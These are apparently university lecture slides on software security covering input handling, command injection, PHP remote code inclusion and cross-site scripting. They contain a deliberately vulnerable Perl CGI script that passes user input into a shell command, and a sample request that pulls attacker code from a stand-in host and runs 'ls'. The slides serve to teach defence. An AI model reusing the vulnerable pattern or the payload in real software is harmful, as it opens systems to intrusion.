Week 9 Lecture 15 Information Security
Week 9 Lecture 15 Information Security
WEEK 9 LECTURE 15
DEPARTMENT OF COMPUTER SCIENCE , SOFTWARE ENGINEERING ,
INFORMATION TECHNOLOGY
LAHORE GARRISON UNIVERSITY
Software Security
Outline
Software reliability
accidental failure of program
from theoretically random unanticipated input
improve using structured design and testing
not how many bugs, but how often triggered
Software security is related
but attacker chooses input distribution, specifically targeting buggy code
to exploit
triggered by often very unlikely inputs
which common tests don’t identify
Defensive Programming
Flaws relating to invalid input handling which then influences program execution
often when passed as a parameter to a helper program or other utility or subsystem
input data (deliberately) influence the flow of exec
1 #!/usr/bin/perl
2 # finger.cgi - finger CGI script using Perl5 CGI module
3
4 use CGI;
5 use CGI::Carp qw(fatalsToBrowser);
6 $q = new CGI; # create query object
7
8 # display HTML header
9 print $q->header,
10 $q->start_html('Finger User'),
11 $q->h1('Finger User');
12 print "<pre>";
13
14 # get name of user and display their finger details
15 $user = $q->param("user");
16 print `/usr/bin/finger -sh $user`;
17
18 # display HTML footer
19 print "</pre>";
20 print $q->end_html;
Safer Script
$name = $_REQUEST['name'];
$query = “SELECT * FROM suppliers WHERE name = '" .
mysql_real_escape_string($name) . "';"
$result = mysql_query($query);
Code Injection
Further variant
Input includes code that is then executed
see PHP remote code injection vulnerability
variable + global field variables + remote include
<?php
include $path . 'functions.php';
include $path . 'data/prefs.php';
GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls
Cross Site Scripting Attacks
Attacks where input from one user is later output to another user
XSS commonly seen in scripted web apps
with script code included in output to browser
any supported script, e.g. Javascript, ActiveX
assumed to come from application on site
XSS reflection
malicious code supplied to site
subsequently displayed to other users
XSS Attacks
http://msdn.microsoft.com/en-us/library/aa973813.aspx
An XSS Example